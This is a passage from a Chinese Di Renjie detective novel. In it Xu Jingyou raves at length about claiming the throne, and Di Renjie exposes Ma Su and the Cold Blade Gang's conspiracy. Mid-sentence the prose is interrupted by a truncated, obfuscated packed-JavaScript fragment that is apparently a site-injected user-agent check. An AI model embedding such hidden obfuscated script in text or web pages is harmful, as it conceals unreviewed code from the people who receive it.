吴常叫道:“不!过去的你就是完美的,找不到一点缺陷!你不配跟他比较,因为他是个没有瑕疵的人,而你全身上下都有问题!你不是他!” 狄仁杰道:“我为什么不是他?” 吴常道:“因为他不会犯错。而你,你说你会犯错,那么你就肯定不是他。” 狄仁杰道:“我过去犯的那些错,你为什么要装作看不见呢?” 吴常道:“不是我看不见,而是它们根本就不存在。” 狄仁杰道:“你怎么知道它们不存在?它们一直就存在,就像我们一样。” 吴常叫道:“不!它们不存在就是不存在!那个完美的狄仁杰,他没有过错!” 狄仁杰道:“你想看到的不是从前的我,只是你脑海中的幻想而已。你想看到的,只是你想看到的那一面。这都是你自己的幻想,不切实际的幻想!” 吴常叫道:“不!这不是幻想!这都是真的!” 狄仁杰道:“真跟假,都在你一念之间。你怎么知道,你所认为的真,就一定是真的?你又怎么知道,你所认为的假,就一定是假的?真与假之间,有没有你看不清的界限呢?还是说,你都已经看清了,却不愿意承认?” 吴常道:“我看不清,我看不清。但是我有回忆。” 狄仁杰道:“你的回忆,或许只是你过去错误的判断,形成的幻想。也有可能,只是你心中一厢情愿罢了。” 吴常道:“我判断什么?是非对错吗?难道我自己亲眼所见,我还不明白吗?” 狄仁杰道:“一个人可以看到整个世界,却无法回过头来看看自己。你吴常,不应该看我,应该回过头来,看看你自己。” 这时浓雾渐散,只见四周果然都是杀手,手持兵刃,围绕着自己二人。 吴常跟另外几人都蒙着面,站在离自己约一丈远处。 狄仁杰道:“事到如今,你们还有必要蒙着面吗?” 只见带头那人拉下了遮面布,是一个五六十岁的彪悍老人。 狄仁杰道:“你就是徐敬业的弟弟,徐敬猷。” 那人道:“不错,我就是徐敬猷。” 狄仁杰道:“世人都以为你已经死了,没想到,却是死里逃生了。” 徐敬猷哼哼笑了笑,没回话。 吴常早已露面了,狄仁杰道:“没想到你们还能走到一块儿。” 吴常冷笑道:“你没想到的事还多着呢。” 狄仁杰道:“比如你身旁那两位,你以为我不认得吗?哼,魏县令,还有马肃。” 那几人倒吃了一惊,互看了看。 狄仁杰道:“我猜错了吗?” 吴常道:“你没猜错。” 只见他身旁二人拉下了遮面布,果然一个是县令魏胥,另一个便是一直跟着狄仁杰的那马肃。 马肃道:“你什么时候知道是我的?” 狄仁杰道:“其实在见到你的第一天,我就已经有怀疑了。只是后来太多的局,太多的假象,你们费尽心机想迷惑我,所以我也迷惑了。但是真的假不了,假的也真不了。你既然是内奸,那么迟早会露出破绽。” 马肃道:“你倒是说说,我哪里露出破绽了?” 狄仁杰道:“你不要着急,一会儿我就告诉你。” 马肃冷笑道:“我看你是说不出来吧。” 狄仁杰道:“这讲故事啊,总得有个头啊。我现在,就把这个故事从头讲起。” 吴常道:“请说。” 狄仁杰于是开始说道:“十四多年前,弘道元年,高宗皇帝驾崩,太子即位,次年便改元为嗣圣。于此期间,当今圣上尚为皇太后,手中却掌握着实际大权,因而不久便将中宗废黜,又立了豫王李旦为帝。后睿宗上表请辞,退位禅让于母后,便有了今日之武皇。这些,诸位都知道,那我也就不赘述了。说起中宗,被废为了庐陵王的那年,太后临朝称制。这时,有的人被免官,有的人被降职,于是各皆心怀不满,聚于扬州,以匡扶庐陵王复位为名,企图发动叛乱。这是光宅元年九月,当时带头的便有被赐‘李’姓的徐敬业,还有他的弟弟徐敬猷。当然,还有撰写讨伐檄文的骆宾王。” 徐敬猷听了冷笑道:“你是没话说了,拖延时间吧?这些当年的旧事,谁还不知道,还用得着你来说?” 狄仁杰道:“是,这些事件之经过,想必诸位当局者,比狄某更为了解。那好,那我直接从兵败后说起。在世人眼中,早已被当众斩首的徐敬猷,其实并没有死,而是在众目睽睽之下,死里逃生了。他们所杀的,不过是你的一个替身,而你,却从乱军之中逃跑了。之后,你就躲在了茫茫江湖中,等待着机会,再次谋反。” 徐敬猷道:“不错,我没死。当年,我哥要是听那魏思温的话,以大军直取洛阳,那么这天下如今就已经是我们的了!怎么会到现在,我还没得天下?” 狄仁杰道:“如果你哥当年得了天下,那么第一个要死的人,就是你。” 徐敬猷听了,哈哈大笑,道:“我知道。” 狄仁杰道:“你当然知道,因为如果你得了天下,你同样会去杀他。” 徐敬猷道:“为了得天下,杀兄弟算什么?太宗皇帝起兵之时,跟他那俩兄弟,不也还挺和睦嘛。怎么后来,为了争皇位,还是在玄武门拼了个你死我活呢?” 狄仁杰道:“你腰间那把,刻有‘李’字的剑,是马肃给你的吧?” 马肃道:“不错,剑是我偷的,你饭里的药也是我下的。” 狄仁杰看了他一眼,又继续跟徐敬猷道:“当年即将兵败之际,你哥哥应该是跟你分开了。你们兄弟二人兵分两路,各奔东西。而你哥哥身边,应该有跟着骆宾王,对吗?” 徐敬猷惊道:“你……你怎么什么都知道?” 狄仁杰道:“因为这把刻有‘李’字的剑,乃先皇赐给你父亲的。而你哥哥徐敬业又是长子,那么你父亲必定将此剑传给他。至于你们兄弟二人,毕竟还是最亲的。所以到了兵败的危难时刻,你哥哥却仍然没有将剑交与你,说明在他生命中的最后一段时间里,你并不在他身边。可当时你们是一同起兵的,所以后来分开之时,必定是见大势已去,而你们又起了争执,估计还是为了是否直取洛阳之事,因而分道扬镳。骆宾王便选择跟随了你哥哥,又在他临终之前,被他托付了此剑,甚至还嘱咐,要将之交与你。这就是为什么此剑最终会落到了骆宾王手里的原因,因为他是你哥哥死前身边最信任的人,也只有他,一个在危难之中不肯相弃,选择跟随了自己的人,值得拿到此剑。或许你哥哥更想把它交给你,因为你们毕竟是一家人。但此时天各一方,存亡未保,也只有先将它,交给骆宾王了。” 徐敬猷听了,暗自佩服,却不动声色,继续听他讲道:“骆宾王于是拿到了剑,跟你一样,从乱军之中逃走了。他,没有死。至少兵败之后,他还活了许久。否则,这把剑的下落,也就跟他一起销声匿迹了。” 徐敬猷道:“不错,那个骆宾王,也还活着。而且,是他先找上我的。” 狄仁杰道:“他再次找上你,恐怕不是为了谋反吧?” 徐敬猷冷笑一声,道:“当然不是。他来,是想劝我,别谋反。哼,真是可笑啊。当年,他也是主谋之一。而如今,却反倒来劝我,哼哼,真是滑天下之大稽!唉呀,你都没法儿想象吧?他,做和尚了。和尚,和尚!当时我见到了一个老僧,我还认了半日,没想到,真的是他。一个曾经造反的人,竟然去当和尚了,你能信吗?啊?哼哼,我反正是亲眼所见。唉呀,他,劝我‘放下’。放下什么呢?哈哈,放下我的‘执念’。唉呀,执念哪,能放下吗?哼哼,可笑啊,可笑。他还叫我放下什么呢?天下。哈哈哈,你没听错,他就是这么说的!他叫我放下‘天下’,‘天下’!天下,能放得下吗?我告诉你,不能!我当时,也是这么跟他说的。我说,我徐敬猷除非死,否则谁也不能阻挠我去得天下!我徐敬猷争了一辈子。年轻之时,我争不过我哥,因为,他确实比我有本事,所以我也认了。可到了老年,我怎么还争不过我自己呢?我想得天下,我却得不到啊!我是在跟天下争吗?还是在跟天下人争呢?我跟你们说,我是在跟我自己争!唉呀,我哥他呀,也想得天下。只可惜,如今他没这个机会了,哈哈哈。至少,他没法儿再跟我抢了。但是我不同,因为我活了下来。我活了下来!我活了下来,我就一定要活出价值!我不想像平常人一样,只做个‘天下人’。我想当皇上,做天下之主!这个天下,应该只属于我一个人,谁也不能跟我分!谁要是敢跟我抢,那么我就杀了他!我姓徐,但是我也姓‘李’,叫‘李敬猷’!李家的人坐得皇位,凭什么我就坐不得?我哪里不如李家的人了吗?他们姓李,他们姓李!我叫李敬猷,我也姓李!姓李的就能当皇上,我为什么当不了!我用了我的一辈子去争,难道还不如那群继承得来的?他们做了什么?为什么能当皇上!你也不看看李显那个废物,还有他那弟弟李旦,都是一群草包!要不是他们愚蠢,武则天又怎么会坐上皇位?还有那个唐高宗李治,甚至是那个唐太宗李世民,哪一个没被武则天利用过?啊?哼哼,都败在了一个女人手里!什么唐朝,什么盛世,还不到一百年,就已经改朝换代了!而且,是一个女人。一个女人尚且坐得,我一个男人为什么坐不得?我李敬猷也姓李啊,而且我比他们都更有出息!他们那皇位是继承来的,不像我,江山自己打。我就做不了皇上?谁说的?我就是皇上!我告诉你们哦,我徐敬猷就是姓徐,我照样做得了皇上。你们别以为姓徐的就做不了,姓徐的不比姓李的差。我告诉你们,江山,是我的。是我,徐敬猷的。不是你们的!你们在我面前,谁也不配做皇上!我,就是皇上。姓李的才能当吗?我不信,为什么姓李的才能当?我姓徐的就当不了?姓李的才能当?我去你妈的李姓!姓李的有什么了不起,凭什么能当皇上?要我去辅佐那群废物上位,那还不如我来当。我当,准比他们当得好得多。李唐,李唐,哼,都是些屁!我告诉你们,那些天天说着要匡复李唐的,都是些伪君子!他们,难道自己不想坐皇位吗?他们真的只想做臣子吗?这可能吗?我不信!我告诉你们,他们自己也想当皇上!他们自己也想坐皇位。只是如果没有这些口号,他们又该怎么坐啊?所以,他们很虚伪。他们远不如我,这么光明磊落,这么坦荡荡地想当皇上!想当,你们就说嘛,干吗找一堆好听的借口!自欺欺人,以为自己是什么忠臣良将,哼哼,都是些伪君子。不是为名,就是为利,世上人皆如是。横竖到头来,人不为己,天诛地灭。只是有的人装,有的人坦荡荡,就像我!我说我想当皇上,有什么错!自古以来,哪朝哪代,不是成者王侯败者寇?当了皇上的就是正统,想当皇上的就是逆贼,这是什么话呀?当皇上的就都好吗?那些昏君呢?我们做臣子的照样得辅佐吗?我们为他们打天下吗?凭什么?他们做一件坏事,祸害天下,比我们更甚!我们想造反的,如果成功了,当上了皇上,那么我们就一定对了?一个道理,姓李的也不一定对!看看前朝杨隋吧,是怎么灭亡的。一个个的以为当了皇上了,就可以永远坐得宝座,永远不下来!其实你们不懂,要让你们下来很容易,只要多几个像我这样的,敢于为了心中的理想而奋斗,去打天下!问题是,没人敢,所以我就这么做了。有什么问题吗?我为自己打天下,就是乱臣贼子吗?这是对于李唐而言!可如今这天下已经不姓李了,姓武!武则天都能做,我为什么不行!现在都什么时候了,还要我为李唐去打江山?我滚你妈的去吧!我打来的江山,凭什么你来坐?你他妈的有什么了不起?你有本事自己打个江山,自己坐去呀!你不是很厉害吗,那你坐呀,坐,坐吃山空。哼,每个朝代到了末了,都是乱世。群雄并起,没有对错。都是为自己打天下,赶走昏君!难道,我徐敬猷做了皇上,天下就治理不过他们?这是不可能的。你看看这些败类儿孙,一个个坐享其成,都是些无能之辈。像老子这样,用了自己的一生去奋斗,到头来,难道还不如那些坐在上面什么都不干的?哼,封赏,封赏,凭什么你来封赏?我还想封赏你呢!哦不,你还不配我封赏呢!一群狗皇帝,懂不懂得什么叫天下?天下,那就是一切!你们拥有了一切,却也不懂得珍惜。你们根本就不爱自己的江山,因为那根本就不是你们亲手打下来的。而我呢,我亲手打。亲手打江山!你们知不知道,我多想要啊。我想要天下,可是我得不到它。它就在我眼前,却是可望而不可即。我伸手都能摸到,这一片片土地,都是这个天下。我想要它,但是它不属于我。我多么希望能够拥有它,但是我真的是得不到。它呀,在我梦中,在我心田,在我身体里面。我痛苦啊,因为我总是求而不得。它让我又爱又恨,又想放下又想得着,但是我舍不得我也得不到……啊!哈哈哈!我得不到你!你让我好苦啊,我也想把你放下,但是我做不到。你为什么那么好?你又为什么那么坏?你为什么那么大?你又为什么那么小?你像疾病一样,缠绕着我,也像梦境一样,遥不可及。我希望你离开,我也希望你到来。我想要你属于我,也想要你别来烦我。唉呀,我求你啦,天下,你快走吧。我不想要你啦,我被你折磨得人不像人,生不如死啊。你太美好了,你也太丑恶了。你是谁呀?我曾经幻想,我如果能拥有你一天,那么我死也值了。可这种幻想毕竟是不真实的,因为我始终没能得到。但是,我也不想要了。因为你太狠毒了,你欺负我。我……我所以要用我的一生,用我的一生去登上宝座。我要看着这个天下,属于我一个人!满朝大臣,他们都来朝拜我。他们,一个个的喊万岁,一个个的跪倒在地,一声声的叫我‘皇上’。哈哈哈哈哈,我,不再是我,而是,皇上。朕,乃天子!哈哈哈哈哈!我终于当皇上啦!唉呀,这个天下,终于属于我啦。我徐敬猷,原来是天下之主啊。你们都得叫我,‘陛下’。我叫你们,‘爱卿’。你们,都是我的臣民。我,是你们的君主。这才是我,这才是我,一个天子。哈哈哈哈哈……哪去了呢?你看,都不存在。我梦里的场景,就是一场梦……后来,那老东西劝我,要‘放下’。哼,放下。我放得下吗?天下如此之大,怎么能够放下?我要得到它,我不能放下!我放不下。哼,要让我放下,比让我得天下还难。骆宾王,你这个老东西,真是该死!你害我等了十几年,这才拿到了这把宝剑。这把刻有‘李’的剑,便是我得天下的信物。只要有了这把剑,我便能顺理成章地坐得天下。毕竟,这是李治赐给我父亲的,李家之物。有了这把剑,天下人总该认我做天子了吧?啊?我费尽心机,十几年来,都没得到,竟然被你狄仁杰给拿到了,你也确实厉害。那个该死的骆宾王,明明知道我需要这把宝剑,却偏偏不肯交出来。他妈的,他不帮助我也就罢了,你竟然还敢私自藏匿我们徐家之物。他算个什么东西?一个老货!谋事不成,以为剃了头发当了和尚,就能一走了之了?我一直叫你把宝剑给我,你却只是劝我‘放下’,‘放下’。放下什么?放下我不想放下的‘天下’?你自己为什么不放!你既然都知道放下,那你为什么留着宝剑不放!你交给了我,我们各走各的,就像当年一样,有什么不好?你为什么不肯给我!你不给我,我就找不到了吗?那我现在手中拿的是什么?不是那把剑吗!你不想给我,为什么我还是拿到了?因为天意!天不绝我,你也绝不了我!谁都绝不了我!你当年跟了我哥,我就已经恨死你了。现在你还敢来找我?你就不怕我杀了你!你这副仁慈的德性装给谁看呢?我难道还不知道你?当年檄文里骂武则天骂得多狠哪,今天怎么啦?你倒为她说起话来啦?你有没有病啊你!老东西,一个人怎么可能会变?你跟从前不一样了,那就不是那个你了。从前那个我尊敬过的骆宾王,不复存在!现在我对你只有鄙夷。你选择当了和尚,难道就能逃得过一切世事了?这个江湖依然存在,而且无处不在,所以你逃不了!想在这个世界上独善其身,不可能。就像我心里面那个天下,不可能在你几句‘放下’当中。你还叫我放下自己的心?我的心?你还要我放下我的心?哈哈哈,你太可笑啦!一个人如果连心都没了,那会变成什么样啊?难道就像你这样?一个老和尚,来劝我放下,难道你就没心吗?你放下了吗?你如果真的放下了,那你又为什么不把剑扔到海里去,而是仍旧留在世上呢?你不是还想留给我找到吗?这样我就可以得天下了,你也可以放下了!我有理想,你没有!你是个死人,虽然还活着,但跟死了没区别!我是个活人,我活着,就是拼了命也要闯出来,而且你们谁也拦不住我!你忘啦?你从前也造反杀人,现在在我面前又装什么仁慈?你装什么仁慈!你觉得你很超脱吗?你以为你这样,你就可以逃得了一切了?我告诉你,没有可能。因为你就在其中,永远都逃不了!只要你还在世上一日,那么就不可能逃脱世上的纷纷扰扰。你的空门,都是一场空。但是我的天下就不一样了,因为它,能看得见。不像你的佛祖,你的菩萨,你的因果报应,还有你的什么涅槃重生,都是空中楼阁,摸不着!而我的天下,却是实实在在的存在。你们不信?那你们看看你们自己,你们都是天下人!所以,天下是有的,就像你们一样!我所寻求的天下,正是这样一个真实存在的目标。它,就在我眼前,一直都在,一直都在。只要我还活在这世上一日,那么天下,就会离我更近一步,更近一步。它是我的。我也是它的。我们在一起。天下,天下,天下……你们谁也抢不去!天下是我的,我的!我的天下,我的天下……!”叫得差点昏了过去,被魏胥忙扶住了道:“自然,自然!天下就是将军的!” 徐敬猷叫道:“天下当然是我的!”又看着他道:“魏胥,当年我哥要是听了你爹的话,直取洛阳,那么这天下如今,可能就不是我的了。” 魏胥听了忙道:“哦,先父当年,就是想让将军得天下,而不是令兄,所以才故意说要取洛阳,是为了……让令兄故意不听他的话。” 徐敬猷道:“你是说,你爹是帮我的?” 魏胥忙道:“是,是,谁不肯帮将军。” 徐敬猷哼哼笑了起来,道:“我得了天下以后,你魏胥就是宰相。” 魏胥忙笑道:“多谢将军。” 徐敬猷道:“那个骆宾王,他劝我不成,便要走。我本来想杀他,但是那一刻,却又下不去手。至于是什么原因,我也不知道。或许,我也有善良的一面吧。我心中除了天下,难道也有……‘爱’吗?就像他说的,爱。唉呀,可惜啊,我没能早点学会。因为现在,我已经无法再爱了。除了我的天下,我心里再也容不下任何东西了,包括人。你说我执着也罢,反正每个人都有他的追求,也没办法强求。所以,我就放他走了。他走之前,回头看了我一眼,跟我说:‘如果你真的放不下,那就去拿吧。但是我要告诉你,一把剑,终究是伤人的。当你得到它的那一刻,你也会因它而灭亡。因此,我把它藏得很深,至少你是找不到。如果有一天你找到了,那或许,能够帮你解脱。’说完这段话,他就真的走了。哼,我怎么就听不明白呢?既会让我灭亡,又能让我解脱,这不是互相矛盾吗?当然,我也不想去弄明白了,因为这些对我都不重要。真正我所关心的,始终是那把剑,那把能帮助我得天下的剑。而骆宾王又说,那剑确实还在世上,只不过,被他藏了起来。唉呀,藏了起来。哼,说起来容易,找起来难哪。我找了这么久,从何找起啊?他也没给我留下点什么线索,这简直就是叫我大海捞针嘛。算啦,既然如今已经找到了,那我就算解脱了吧。啊?哈哈,感谢你啊,狄仁杰!” 狄仁杰道:“后来的十几年内,你除了找寻这把宝剑,还躲在暗处,偷偷地召集了许多当年的旧部,试图再次谋反。而这期间,吴常和他的寒刀帮,便跟你联起手来了。” 徐敬猷道:“不错,是我先找上寒刀帮的。我当时早就听说,寒刀帮是江湖上有名的杀手组织,里面武功高强者遍及,以吴帮主为最。我当时想,如果要起事,那么一定用得着他们。因此,我就透过各种渠道,总算联系上了吴帮主。我们一见面,立刻就达成了共识,于是便联合了起来。我许以他们无尽的财富,他们便愿意帮我得到至上的权力。而武则天,又是我们共同切齿的对象。所以,推翻她,我们谁都乐意。就这样,我们开始一起谋划,该怎么才能成功。” 狄仁杰道:“徐敬猷,你被吴常利用了,你还不知道吧?” 徐敬猷道:“我知道。我当然是被他给利用了,就像他也知道,我也正在利用他,对吗?” 吴常道:“没错,我们相互利用,我们互相之间也知道。但我们各得其所,不在乎。你狄仁杰想挑拨离间,方法也未免太拙劣了吧。” 马肃冷笑道:“他这是在拖延时间,还以为会有救兵呢。” 狄仁杰道:“你们别着急,我慢慢说。好,我现在就说出两个人名,是此案中的关键:一个是禁军主帅徐杰,还有一个,便是吏部侍郎何璧。这二人,都是你们所想除去的。首先,徐杰是禁军的主帅,也就是手握兵权,保卫着京都安全的御林军头领。只要他不死,你们的阴谋就无法得逞。因为洛阳的城防,就掌握在他手中。所以你们想除掉他,是为了使城防空洞,乘隙造反,这并不难理解。至于何璧,他就是潜伏在朝中最大的内奸。他是你们徐敬业旧部的人。十四年前,你们造反了时候,他就已经潜伏在了朝中,官儿却没如今的大。那时,你们早就商量好,如果直取洛阳,那么他为内应,里应外合,一起夺取天下。可后来,你们兵败了。大势已去,他却还在。不但如此,还升官发财了。这么一来,你们后面再去找他之时,他自然是不肯再来帮助你们。即便是他说愿意,也只是嘴上这么说而已,心里其实还是不愿意的。但是,你们已经向他露了面。他何璧也知道你徐敬猷还活着,并且企图谋反。这时,你们又担心他会向武皇报信,告知你们的阴谋,于是便要杀人灭口。问题是,何璧也没有这个胆量,所以并没有将事情抖搂出去。因为他如果说了,他知道,他照样活不了。这个内奸的身份,始终是抹不去的。武皇一旦得知了,他必死无疑。虽然如今我们也都知道了,武皇原来一开始就明白,只是没有点破而已。但是对于当时的何璧,他并不知道武皇明白,因为一个内奸怎么可能升官呢?而且管的是吏部,一个如此重要的官职。这确实是武皇的智慧,我们谁都无法否认。所以,他何璧就干脆没说,装作什么都不知道。这时他夹在中间,寝食难安,又时常被你们派来的杀手追杀,却还是不敢说出来。记得当时我们在浔阳江上,你马肃跟我们说了那个你编造出来的故事,也就是树林里的那个濒死汉子,说什么‘寒刀帮’‘内奸’‘徐杰’‘何璧’的事。你之所以讲这个故事,也是在‘借刀杀人’。我如果听信了话,将之禀告陛下,那么这二人就要因我而死了。这我一会儿再说。现在再说这个何璧,到了你们造反前的最后一天,终于忍不住,找上了徐杰。徐杰于是来到他府上,跟他聊了起来。家仆后来说他们很严肃,那是因为他们正在聊你们即将造反的事。何璧估计也将身份公开,告诉了徐杰,所以徐杰才会跟他说了那么久。到晚上,你们一箭双雕,杀害了何璧,嫁祸给徐杰,这就是事件之经过。而且你们杀害何璧所用的,正是你们寒刀帮的独门暗器‘雪松针’。” 马肃道:“不错,用的是雪松针,而且是我杀的。因为我当时正好就在洛阳,帮主便派我前来刺杀何璧。” 狄仁杰道:“我现在要将这一年来,整个事件的真相,从头说起。” 吴常道:“我们洗耳恭听。” 狄仁杰道:“整个事件,除了以徐敬猷为首的造反以外,你吴常,就是针对我!” 吴常冷笑道:“你很明白嘛。” 狄仁杰道:“从一开始,你派人去劫军粮,就是为了要制造内忧外患。那时战事已起,西北失守,军中出现了内奸。而国中,送往边关的军粮又屡屡遭劫。这么一来,天下大乱,皇上既要平定外患,首先便得解决内忧,所以势必会派人前去查案。这时,你们勾结上了朝中的宰相张柬之,并许以他事成之后,辅佐李姓的子嗣上位。他也就答应帮助你们,在皇上面前举荐一个人,使其前来查案。这个人,便是马肃。马肃,一个不起眼的小校尉,怎么会无缘无故被皇上选中,封为了搜查队队长呢?你武功是高强,也很聪明,但问题是,皇上是怎么知道的?只有一种可能,那就是有人推荐你。你曾说,你是‘徐主帅麾下的一个守城校尉,官职并不显赫’。那么请问,徐主帅知不知道,有你这么一个文武双全的校尉存在?如果他知道,你又怎么会还是校尉?这么说来,你不可能是徐主帅推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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荐的,因为他根本就不认识你。而你之所以身在如此不起眼的职位,也正是因为你的帮主吴常要你待的。他不希望你太起眼,如此方能‘掩人耳目’。而这个‘人’,便是我狄仁杰。因为你的职位并不显赫,所以对于你的来龙去脉,我也就无从查起。我只能在见到了你以后,接受这个既定了的事实,也就是,你是‘搜查队队长’,并且是皇上亲封的。那么既然不是徐杰,又有谁会去推荐你呢?我想,吏部何侍郎,应该也是没有可能的。因为吏部管的主要是文职官员,而不是武官。你马肃既是武官,又是寒刀帮的人,他何璧要害你还来不及,又怎么会去举荐你呢?除非那时,他还并不知道你的身份。但他既然不知道,又为什么要偏偏选中了你呢?这都只是从他的角度想去。现在再从皇上的角度想想,她老人家既然已经知道了何璧是内奸的事,又怎么会再去听他的话呢?尤其是他选中的人,皇上真的会认为可靠吗?这选择搜查队队长的事,皇上会去问他吗?就算会去问,那么若不是来试探他,难道还真的是因为信任他吗?所以,不管从谁的角度看来,你马肃都几乎不可能是被何璧举荐的。这么一来,皇上的亲信,也只有朝中的宰相张柬之最有可能了。嗯,既然你们都承认了,那我便继续讲下去。你马肃,于是在张柬之的推荐之下,见到了皇上,又被封为了搜查队队长,派往边关查案。皇上还赐给了你一件信物,就是密室墙壁上挂的那一把宝剑。你便带上了它,跟着从禁军里挑选出来的二百余人组成的搜查队一起上了路,赶赴边关。这时,你们的一部分目的已经达成了,因为马肃已经出来了,并且是奉旨出来的。且此时手中,还握有那把作为信物的宝剑,为将来遇见我之时,做了很好的接引工作。现在我就来说说,搜查队是怎样被害的。首先,此次行动乃临时决定,也就是除了陛下以外,也只有你马肃知晓。当然,还有一个人,那就是推荐你的张柬之。他当时有没有可能因为跟你不是一伙的,所以故意要来害你呢?所谓‘成也萧何,败也萧何’,是张柬之将你给出卖了。但是,后来我们也知道了,这是不可能的。他既然推荐了你,就没有理由再去出卖你,因为这对于他而言,并没有任何好处。所以,他跟你是一伙的,这个是必然,事后也不必多谈。好,你当时说,搜查队二百余人是出走当日从禁军之中挑选出来的,那么内奸有没有可能就在禁军里面呢?当然有可能。因为你这个队伍二百余人,人数也不少,那么必定会鱼龙混杂。并且当天挑选,时间太为急促,又如何能够细致地去观察其中每一个人是否是内奸。所以,即使有内奸混入,也再正常不过。但问题是,即使有内奸,他又能做什么呢?他一个小小的内奸,在整个队伍的总体走向上,能起到什么决定性的作用呢?难道搜查队的行走路线,不由你这个搜查队的队长来定么?所以,就算有内奸,也只有整个队伍的领头,也就是你这个队长,才能起到功效。因为也只有你才能决定,搜查队要往哪里去,并且经过哪里。所以,整个搜查队的最终趋势,都掌握在你手中。后来,你胡诌说,你们搜查队在行过林间小道的时候,有个濒死汉子见到了你,还问你说:‘你们是不是朝廷派往边关查案去的?’问题是,陛下派你们查案既是隐秘的,又怎么会谁都知道?陛下虽然后面说了出来,但也至少过了一个多月,而这时,谁又可能知道呢?搜查队也就不说了,单是这‘朝廷派来查案’的事,就不可能谁都知道,最多也不过是猜到了而已。那么,这个濒死汉子是如何‘猜到’的?是谁告诉了他吗?当然,如果他确是如你所说,是潜伏在寒刀帮内部的暗探,至少以他的整体言行而论,他确实像是个暗探。那么,他的‘知道’是从哪里来的呢?只有可能是从寒刀帮。问题是,寒刀帮又是如何知道的?除非有人已经向他们通风报信了,而这个人,在陛下、张柬之、你马肃还有搜查队的二百余人当中,都有可能。如果照你的故事继续说,寒刀帮追杀那人,就是因为他‘知道’,知道什么?一个寒刀帮不想人知道的秘密。这个秘密,照你说,便是那句‘内奸’‘徐杰’‘何璧’的话。可现在问题不在这句话里面,因为我刚才已经说清楚了,你这么说,是想借刀杀人,所以不言而喻。问题在于,那个濒死汉子怎么会那么恰巧碰到了你?天下那么多路,你们走了一个林间小道而已,便能碰到一个将死的暗探?这未免,也太匪夷所思了吧。那么除非,他早就在那边等着你们,也就是你所说的‘林间小道’那里。问题是,他又是怎么提前知道你们会经过那里的?寒刀帮也知道了吗?寒刀帮又是怎么提前知道的?这时候只有一种可能,那就是内奸通风报信了。而这时,内奸只有可能是你,马肃。因为你的行踪,只有你一个人知道。你引领着队伍,整个搜查队也只能跟着你一个人走。所以,寒刀帮如果提前知道了,队伍会经过某处,比如你所说的‘林间小道’,那么,你就是通风报信的人。所以你的故事漏洞百出,反将你自己的身份出卖了。如果这事发生在了陛下一个月后已经将派遣搜查队之事向诸人言明了以后,那么你当时到哪里了呢?如果说你离洛阳尚近,那么你们队伍一个多月一共行了有几里路呢?如果说是快到边关了,那么你又用了多长时间回五湖镇?哼,你说不出来,因为你自己也讲不清楚。你们想的只是要尽快杀害了搜查队以后,好去实行下一步行动计划。这都是你们之间早就商量好了的。那就是,你马肃故意将搜查队二百余人引到了你们早就设好了的埋伏圈内,然后便跟着寒刀帮的众杀手一齐将他们就地残杀。不然,在茫茫大地之上,歹徒又是如何准确无误地埋伏好的?这时,你马肃为了要掩盖真相,露出了一个极大的破绽。那就是,在自己脸上划了几道伤。这叫做,‘欲盖弥彰’。因为‘擒贼先擒王’,所以寒刀帮的人如果跟你不是一伙的,那么他们准会先来杀你。可怎么全队的人都死光了,你这个‘队长’却还活着呢?你可以说是因为你武功高强,他们打不过你,但是,又为什么会在你脸上留下了几道伤痕呢?他们既然都能够伤到你的面门,又怎么会留下你活命?如果这几道伤,真的为他们所划,那么为什么只在你的脸上,而你的身上都是些旧伤呢?这只能说明,你脸上的这些刀痕,都是你自己划的,所谓‘苦肉计’是也。你这么做,跟你后来故意到五湖镇与杀手大战,都是为了让我相信,你马肃跟寒刀帮不是一伙的。好,现在说到,搜查队已经被害了,被你跟寒刀帮联合起来害了。那么为什么要杀害搜查队呢?因为你马肃这样就可以回五湖镇了。回五湖镇做什么?那当然是,等我了。你就在那边,等着我狄仁杰。那该怎么才能等到我呢?自然得先把我引出洛阳。好,我来讲讲。首先,搜查队一被害,皇上自然是收不到从你马肃而来的消息了。这时,她老人家定会派遣新的查案者出来,一面调查前面的军中内奸案还有军粮被劫案两个案子,同时调查搜查队失踪案,或者她老人家已经猜到了的,搜查队‘被害’一案。这便是引我出城的大好机会,因此你们再次找上了张柬之,让他向皇上推荐了我,说除了我狄仁杰,无人能侦破诸案。我虽为宰相,但皇上在大局面前,还是选择用了我。从此,你们的整个局就已经开始了,而我狄仁杰便沦为了你们的一枚棋子,任你们耍弄。皇上于是派我出城查案,前去边关调查那三个案件。日期都定好了,就在某日清晨。但就在这时,你们又设下了另一个圈套,而且是联合张柬之一起设的。这个圈套便是,彭羽被劫案。张柬之因为推荐了我,成为了我此次查案的单线联络人。他于是对我的一举一动了如指掌,因为我都一一地告诉了他。至于我要出来查案的确切日期,他也知道。所以就在我即将离开洛阳的那前一天的夜里,你们寒刀帮便开始行动了。当夜,你们派遣了一群杀手,将彭府灭门,又将彭羽劫了去。这时,我们一行人正在府前预备着,要在不久以后出门,等待着辰牌时分一到,城门大开,我们便首批出城。突然,我便起了疑心。我一见彭府早被你们灭门了,我便连忙派韩忠义去拦截你们,却见两个杀手已经将彭羽带往出城的方向去了。这时,胡乐暗地里跟踪,可追到了东南街便失踪了。这是因为彭大人根本就没有出城,而是被装进了你们后来派遣的另一批人所带来的马车里面,一直送到了东南街的张府之中。这我就不说了,反正他张柬之跟你们是一伙的,一起联合起来欺骗我。哼。之后,我们便一起调查彭府。这时,我们遇到了一个女孩子,叫做‘鹃儿’。她,是整个案件当中,最无辜的人!因为她根本就不是内奸,却被你们一个个的拿来陷害,就为了要来对付我。好,这事我一会儿再说。我们于是带上了她,这个可怜的孩子,一起出了城。这时,你们阴谋得逞了,你们和张柬之都开心了。我狄仁杰终于被你们引出了洛阳,而且是被彭府一案引出来的。这么一来,你们就可以尽情地陷害我了,可以使劲地去伤害我的心。哼哼,我就被你们一路引啊,引啊,引到了五湖镇。为什么呢?因为我是来追查彭羽的下落来了。我一路跟着地上的马蹄印,都是你们故意留下来的。你们想让我以为,彭羽真的出了城,而且被你们劫走了。为了使我选择前来五湖镇的这条小路,你们故意只留下了一条印记,并且是那杀手领头的留下的。这么一来,我因为猜测大路马蹄印多的,是为了要掩护那小路马蹄印少的,所以我便选择了这条小路,以为彭大人真的是被你们给带到了五湖镇。如今看来,竟是一路被你们牵着鼻子走。你们算到了我狄仁杰多疑的